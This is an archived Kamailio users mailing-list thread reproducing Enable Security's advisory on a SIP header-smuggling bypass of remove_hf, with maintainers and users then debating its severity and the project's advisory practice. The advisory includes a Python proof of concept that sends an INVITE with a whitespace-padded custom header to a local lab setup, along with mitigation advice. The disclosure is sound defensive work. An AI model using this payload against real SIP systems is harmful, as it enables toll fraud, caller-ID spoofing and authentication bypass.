[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. > > ## Solutions and recommendations > > The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. > > Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. > > ## About Enable Security > > [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. > > ## Disclaimer > > The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. > > ## Disclosure policy > > This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>. > > _______________________________________________ > Kamailio (SER) - Users Mailing List > sr-users@lists.kamailio.org <mailto:sr-users@lists.kamailio.org> > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com> www.twitter.com/miconda <http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda> Funding: https://www.paypal.me/dcmierla _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org <mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hello Daniel,
thank you for highlighting this potentially very harmful bug and for suggesting a quick fix with remove_hf_re.
I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk
The only security risk in my opinion
This bug is indeed a huge security risk if someone relies only on custom headers to prevent bad actors. This bug shows once again that one cannot be too paranoid and must have second and third level security. If not such bug can easily sink some small and medium sized telcos.
Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2 upwards, promoted here: https://www.kamailio.org/w/download/
Cheers
Gerry
On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla miconda@gmail.com wrote:
Hello Maxim,
can you explain why I am downplaying the severity by my remarks? I presented where the bug is impacting, because the initial announcement sent by Sandro in different channels (not here, but other security related mailing lists) contained inaccurate information, respectively an example with P-Asserted-Identity, which was actually not affected by the bug. So I wanted to be clear is it only about the common header names.
Maybe you haven't understood the issue or what I said, that it may affect security of the platforms where custom header names are used to pass sensitive data between Kamailio and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom header name matching). None of my deployments were affected. The remark for default config file is that many deployments revolve around it and it does not use with custom header names, implying also it was not discovered by analyzing the public project, but configs specific to a private deployment.
And no worries, the issue was public from the day one, by mid of July, being discussed on our community Matrix channel (public one) when Torrey reported it based on Sandro's work and it was fixed within minutes to all maintained branches. The group of most active developers was informed, none reacted as being anything highly critical. Many other bugs were fixed meanwhile, but no security researcher spent time on them to see if there is any risk exposed. During the past years the Kamailio ecosystem had extensive collaboration with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing, several reports being out based on their work. I am somehow pretty sure no other VoIP project did same level of security research during the same time interval.
Sending the announcement on this mailing list was also discussed yesterday on Matrix channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his team) did the hard work on finding issues in Kamailio, was his privilege to send the announcement. As mentioned in the first paragraph, Sandro also notified on many security-related lists, but I was not asked to review the initial announcement sent to other lists, it was done without being notified. I've seen it first time on VoIPSec list, thus I discussed with Sandro about amending it to be make it clear the common headers are not affected.
Now, if you are here because you use Kamailio and have good interest in this application, then you are also part of Kamailio project, it is a community working together for mutual benefits. In other words, Kamailio project is not going to do anything special for you, but you can step forward and propose what should be done and if found useful for the community, start doing it.
If you are here just to demand others do work for you for free, then you are in the wrong place.
Cheers, Daniel
On 02.09.20 06:43, Maxim Sobolev wrote:
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda@gmail.com mailto:miconda@gmail.com> wrote: Hello,
thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application.
In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them.
The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers, Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-... https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/ https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-... https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>. The following python code could then be used to reproduce the issue:
#!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost <sip:headerbypass@localhost> SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost> <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n <sip:whatever@whatever.local\r\n>" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017 <http://sip:1000@127.0.0.1:48017/>;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5)
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-... https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com https://www.enablesecurity.com/) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hello Gerry,
the bugfix is already in the stable branches 5.2 and 5.3 included, as I wrote before. I will be included (as all of the fixes we do) in these Debian and RPM packages as soon as the respective stable releases were done.
Cheers,
Henning
-- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.comhttps://gilawa.com/
From: sr-users sr-users-bounces@lists.kamailio.org On Behalf Of Gerry | Rigatta Sent: Wednesday, September 2, 2020 12:53 PM To: miconda@gmail.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
Hello Daniel,
thank you for highlighting this potentially very harmful bug and for suggesting a quick fix with remove_hf_re.
I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk The only security risk in my opinion
This bug is indeed a huge security risk if someone relies only on custom headers to prevent bad actors. This bug shows once again that one cannot be too paranoid and must have second and third level security. If not such bug can easily sink some small and medium sized telcos.
Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2 upwards, promoted here: https://www.kamailio.org/w/download/
Cheers
Gerry
On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla <miconda@gmail.commailto:miconda@gmail.com> wrote:
Hello Maxim, can you explain why I am downplaying the severity by my remarks? I presented where the bug is impacting, because the initial announcement sent by Sandro in different channels (not here, but other security related mailing lists) contained inaccurate information, respectively an example with P-Asserted-Identity, which was actually not affected by the bug. So I wanted to be clear is it only about the common header names. Maybe you haven't understood the issue or what I said, that it may affect security of the platforms where custom header names are used to pass sensitive data between Kamailio and other SIP systems (but not Kamailio, since Kamailio-to-Kamailio will use same custom header name matching). None of my deployments were affected. The remark for default config file is that many deployments revolve around it and it does not use with custom header names, implying also it was not discovered by analyzing the public project, but configs specific to a private deployment. And no worries, the issue was public from the day one, by mid of July, being discussed on our community Matrix channel (public one) when Torrey reported it based on Sandro's work and it was fixed within minutes to all maintained branches. The group of most active developers was informed, none reacted as being anything highly critical. Many other bugs were fixed meanwhile, but no security researcher spent time on them to see if there is any risk exposed. During the past years the Kamailio ecosystem had extensive collaboration with Sandro/EnableSecurity and Henning/Gilawa for security assessments and fuzzing, several reports being out based on their work. I am somehow pretty sure no other VoIP project did same level of security research during the same time interval. Sending the announcement on this mailing list was also discussed yesterday on Matrix channel and I said that sr-users is the appropriate place to do it. Since Sandro (and his team) did the hard work on finding issues in Kamailio, was his privilege to send the announcement. As mentioned in the first paragraph, Sandro also notified on many security-related lists, but I was not asked to review the initial announcement sent to other lists, it was done without being notified. I've seen it first time on VoIPSec list, thus I discussed with Sandro about amending it to be make it clear the common headers are not affected. Now, if you are here because you use Kamailio and have good interest in this application, then you are also part of Kamailio project, it is a community working together for mutual benefits. In other words, Kamailio project is not going to do anything special for you, but you can step forward and propose what should be done and if found useful for the community, start doing it. If you are here just to demand others do work for you for free, then you are in the wrong place. Cheers, Daniel On 02.09.20 06:43, Maxim Sobolev wrote: Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <miconda@gmail.commailto:miconda@gmail.com> wrote: Hello,
thanks Sandro for directing a lot of time and effort for stress testing and fuzzing Kamailio, it really helps to increase the security and stability of the application.
In a very short summary version, the issue was caused by a bug in extracting the name of non-common standard headers (like X-My-Hdr), not stripping the white spaces between the name and the following : (colon). The common standard headers (like From, To, Authorization, P-Asserted-Identity, ...) use a different header name parsing and there is no impact in them.
The only security risk in my opinion is when some bad actor learns about the custom header names (and their body format/content) you use to pass data between Kamailio and other SIP systems in your core platform, then trying to preset such headers in the SIP traffic. Of course, security is affected only if you pass security sensitive data in such custom headers. The default kamailio.cfg is not using any custom headers, thus no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers, Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro. The following python code could then be used to reproduce the issue:
#!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost><sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017<http://sip:1000@127.0.0.1:48017/>;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5)
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-...) in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.comhttps://www.enablesecurity.com/) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
-- Daniel-Constantin Mierla -- www.asipto.comhttp://www.asipto.com/ www.twitter.com/micondahttp://www.twitter.com/miconda -- www.linkedin.com/in/micondahttp://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla
_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.comhttp://www.asipto.com/
www.twitter.com/micondahttp://www.twitter.com/miconda -- www.linkedin.com/in/micondahttp://www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hello,
On 02.09.20 12:53, Gerry | Rigatta wrote:
[...]
I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk
The *only* security risk in my opinion
please provide further details why is downplaying. Have you identified another security risk? I would like to be aware of and also let the others know. Or maybe something else is wrong in my statement, my English is not native and likely not the best out there, I am eager to learn from you and do better from the future.
Using custom header names to tighten or loose the security is a per-deployment specific approach, expected that only an insider knows it, but then such guy has probably access to more important sensitive data (such as subscriber passwords, etc.).
Based on my review (I could be wrong of course, but I stated clear is my opinion), none of the standard security related specs were where impacted -- user authentication, routing, etc ... that's the reason the bug lived for so long time.
Cheers, Daniel
Hi Daniel,
the word “only” makes it sound like a small issue, at least in my ears.
Best
Gerry
On 2 Sep 2020, at 13:33, Daniel-Constantin Mierla miconda@gmail.com wrote:
Hello,
On 02.09.20 12:53, Gerry | Rigatta wrote:
[...]
I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk
The only security risk in my opinion
please provide further details why is downplaying. Have you identified another security risk? I would like to be aware of and also let the others know. Or maybe something else is wrong in my statement, my English is not native and likely not the best out there, I am eager to learn from you and do better from the future.
Using custom header names to tighten or loose the security is a per-deployment specific approach, expected that only an insider knows it, but then such guy has probably access to more important sensitive data (such as subscriber passwords, etc.).
Based on my review (I could be wrong of course, but I stated clear is my opinion), none of the standard security related specs were where impacted -- user authentication, routing, etc ... that's the reason the bug lived for so long time.
Cheers, Daniel
-- Daniel-Constantin Mierla -- www.asipto.com http://www.asipto.com/ www.twitter.com/miconda http://www.twitter.com/miconda -- www.linkedin.com/in/miconda http://www.linkedin.com/in/miconda Funding: https://www.paypal.me/dcmierla https://www.paypal.me/dcmierla
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to address individually, so I will just clarify my opinion. The only substantial difference I think is whether the issue at hand warrants a security advisory to be issued by the Kamailio project or not. I totally think that it does, but it looks like I am in the minority here.
Why do I think this way? Well, the first argument is a bit empirical. It is hard to generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy element and integrate it with different SIP elements I ended up using "private headers" for passing information between elements within that setup. So the task of cleaning up those headers at the edge of the network is very relevant at least to some users. It also matches Sandro's assessment, which gives it at least some credibility.
Second, a more general one. Not only I have some experience in software development field, but also I got a chance to participate in much bigger and older open source projects (i.e. FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security is dealt with properly in a mature open source project. You guys might fancy the fact that Kamailio issued the last security advisory in 2018 as a "code quality" indicator, but to me that shows a total lack of proper security process. With the code base of its size, I'd expect at least several security issues of various criticality being found per year. I frankly don't understand the pushback I am getting. It almost looks like issuing such advisory is viewed as harmful and damaging on project "spotless" reputation or something. However in my view it would show respect to users and understanding that many of those users might be using it in a way that differs from its creators.
It might come as a surprise to some of you, but 95% of Kamailio users are not reading this and those lists or following Sandro's work in general. However, if there were a section "Security Advisories" on kamailio.org that would be the place to go. And those users are often not individuals, but companies building their products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers, any linux distro of decent size has its own process to handle and disseminate those among their own users to update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out of that process.
And last but not least, to the remark that I need to step in and fix things, well I am hardly a person to do that. Too many projects and too little time, however I also don't think I cannot voice my opinion, or can I? By the way I know at least one person in the Kamailio community that might be more fit as a "Kamailio Security Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem warrants security advisory?
-Max
Maxim is correct. *Anything* even remotely exploitable must be documented, fixed, and reported. Credibility with company security officers, CFOs -- even with the press if something bad should ever happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard ever covered RowHammer, Spectre, etc ? If the exploit doesn't make sense because "they would have access to other private data anyway" is an assumption and therefore also irrelevant. Sophisticated hackers are great programmers (as are Kamailio programmers), they work 24/7 (as we do) -- who's to say how they might combine exploits in some way we cannot yet imagine.
-Jeff
Quoting Maxim Sobolev sobomax@sippysoft.com:
Hey Daniel, Henning, Tao, Thanks for commenting out. There are a lot of opinions for me to address individually, so I will just clarify my opinion. The only substantial difference I think is whether the issue at hand warrants a security advisory to be issued by the Kamailio project or not. I totally think that it does, but it looks like I am in the minority here. Why do I think this way? Well, the first argument is a bit empirical. It is hard to generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy element and integrate it with different SIP elements I ended up using "private headers" for passing information between elements within that setup. So the task of cleaning up those headers at the edge of the network is very relevant at least to some users. It also matches Sandro's assessment, which gives it at least some credibility. Second, a more general one. Not only I have some experience in software development field, but also I got a chance to participate in much bigger and older open source projects (i.e. FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security is dealt with properly in a mature open source project. You guys might fancy the fact that Kamailio issued the last security advisory in 2018 as a "code quality" indicator, but to me that shows a total lack of proper security process. With the code base of its size, I'd expect at least several security issues of various criticality being found per year. I frankly don't understand the pushback I am getting. It almost looks like issuing such advisory is viewed as harmful and damaging on project "spotless" reputation or something. However in my view it would show respect to users and understanding that many of those users might be using it in a way that differs from its creators. It might come as a surprise to some of you, but 95% of Kamailio users are not reading this and those lists or following Sandro's work in general. However, if there were a section "Security Advisories" on kamailio.org[1] that would be the place to go. And those users are often not individuals, but companies building their products and solutions atop of Kamailio. Also properly issued security advisory helps package maintainers, any linux distro of decent size has its own process to handle and disseminate those among their own users to update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out of that process. And last but not least, to the remark that I need to step in and fix things, well I am hardly a person to do that. Too many projects and too little time, however I also don't think I cannot voice my opinion, or can I? By the way I know at least one person in the Kamailio community that might be more fit as a "Kamailio Security Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem warrants security advisory? -Max
Links: ------ [1] http://kamailio.org
For whatever it's worth: IHO, the official project response to this issue, and Daniel's in particular, was reasonable and proportional to the severity of the problem.
As Daniel pointed out in his response:
1. "Of course, security is affected only if you pass security sensitive data in such custom headers"
2. "The default kamailio.cfg is not using any custom headers, thus no impact on it."
Or in other words: This is not a ubiquitous problem affecting a large proportion of the installed base. Custom headers present a security risk _ipso facto_. It is up to the implementor to make a reasonable and informed risk assessment about using them.
It is true that #2 is less of a mitigating factor than #1; as someone pointed out, the value of Kamailio is tied up in the core APIs it provides as a "toolkit", rather than packaged configurations, as most substantial implementations of Kamailio involve advanced use-cases and extensive custom config-writing.
Nevertheless, some subsequent responses in this thread seem like needless hyperventilation to stimulate "political energy" or energise some kind of online outrage machine. This betrays a failure to see forest for trees and a lack of adequate perspective on the objective impact of this issue (medium), or a penchant for hysteria.
-- Alex
On 2020-09-02 13:48, jbrower@signalogic.com wrote:
Maxim is correct. *Anything* even remotely exploitable must be documented, fixed, and reported. Credibility with company security officers, CFOs -- even with the press if something bad should ever happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard ever covered RowHammer, Spectre, etc ? If the exploit doesn't make sense because "they would have access to other private data anyway" is an assumption and therefore also irrelevant. Sophisticated hackers are great programmers (as are Kamailio programmers), they work 24/7 (as we do) -- who's to say how they might combine exploits in some way we cannot yet imagine.
-Jeff
Quoting Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com>:
Hey Daniel, Henning, Tao, Thanks for commenting out. There are a lot of opinions for me to address individually, so I will just clarify my opinion. The only substantial difference I think is whether the issue at hand warrants a security advisory to be issued by the Kamailio project or not. I totally think that it does, but it looks like I am in the minority here. Why do I think this way? Well, the first argument is a bit empirical. It is hard to generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy element and integrate it with different SIP elements I ended up using "private headers" for passing information between elements within that setup. So the task of cleaning up those headers at the edge of the network is very relevant at least to some users. It also matches Sandro's assessment, which gives it at least some credibility. Second, a more general one. Not only I have some experience in software development field, but also I got a chance to participate in much bigger and older open source projects (i.e. FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security is dealt with properly in a mature open source project. You guys might fancy the fact that Kamailio issued the last security advisory in 2018 as a "code quality" indicator, but to me that shows a total lack of proper security process. With the code base of its size, I'd expect at least several security issues of various criticality being found per year. I frankly don't understand the pushback I am getting. It almost looks like issuing such advisory is viewed as harmful and damaging on project "spotless" reputation or something. However in my view it would show respect to users and understanding that many of those users might be using it in a way that differs from its creators. It might come as a surprise to some of you, but 95% of Kamailio users are not reading this and those lists or following Sandro's work in general. However, if there were a section "Security Advisories" on kamailio.org http://kamailio.org that would be the place to go. And those users are often not individuals, but companies building their products and solutions atop of Kamailio. Also properly issued security advisory helps package maintainers, any linux distro of decent size has its own process to handle and disseminate those among their own users to update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out of that process. And last but not least, to the remark that I need to step in and fix things, well I am hardly a person to do that. Too many projects and too 